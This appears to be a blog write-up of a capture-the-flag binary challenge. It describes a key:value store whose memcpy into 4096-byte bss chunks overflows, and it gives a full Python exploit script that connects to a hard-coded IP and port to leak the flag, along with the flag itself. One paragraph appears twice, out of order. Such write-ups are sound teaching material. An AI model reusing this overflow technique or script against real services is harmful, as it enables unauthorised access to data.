The binary allows to set key:value pair and retrieve them using the key. Values are copied into bss area and key is stored in heap using a singly linked list. This is what a node looks like
One could overwrite pointer to linked list which is stored in bss or we could fill 4096 bytes for one key and copy flag into adjacent chunk, so that they are not separated by NUL byte. This way we could dump the flag by reading the first key. Below is the solution
struct node{
    char key[256];
    char *value;
    struct node *next;
}
Pointer to last inserted node and node count is maintained in bss. value is a pointer to bss area, chunked into sizes of 4096 bytes. fgets function @ 0x08048C3C reads large input as:
fgets(bss_buffer, 20479, stdin)Vulnerability is in memcpy function @ 0x08048B2B as it copies value for key into the bss buffer
memcpy(bss + (4096*nodecount), value, strlen(value))Using this we could overflow chunked buffer in bss. The goal of the challenge is to read the value for key key.
One could overwrite pointer to linked list which is stored in bss or we could fill 4096 bytes for one key and copy flag into adjacent chunk, so that they are not separated by NUL byte. This way we could dump the flag by reading the first key. Below is the solution
#!/usr/bin/env python
import socket
ip = '127.0.0.1'
ip = '54.163.248.69'
port = 9003
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
COMMAND = 'Command% '
def recv_msg(delimiter):
    global soc
    rbuffer = ''
    while not rbuffer.endswith(delimiter):
 rbuffer += soc.recv(1)
    return rbuffer
recv_msg(COMMAND)
# bss - fill entire 4096 bytes to concatenate flag
com = 'set O ' + 'A' * 4096 + chr(0xa)
soc.send(com)
recv_msg(COMMAND)
# read flag into adjacent buffer
com = 'set key' + chr(0xa)
soc.send(com)
recv_msg(COMMAND)
# read first key:value to dump the flag
soc.send('get O' + chr(0xa))
print recv_msg(COMMAND)[4096:]
Flag for the challenge is flag{YesItSy0urP13c30fC4k3}
No comments:
Post a Comment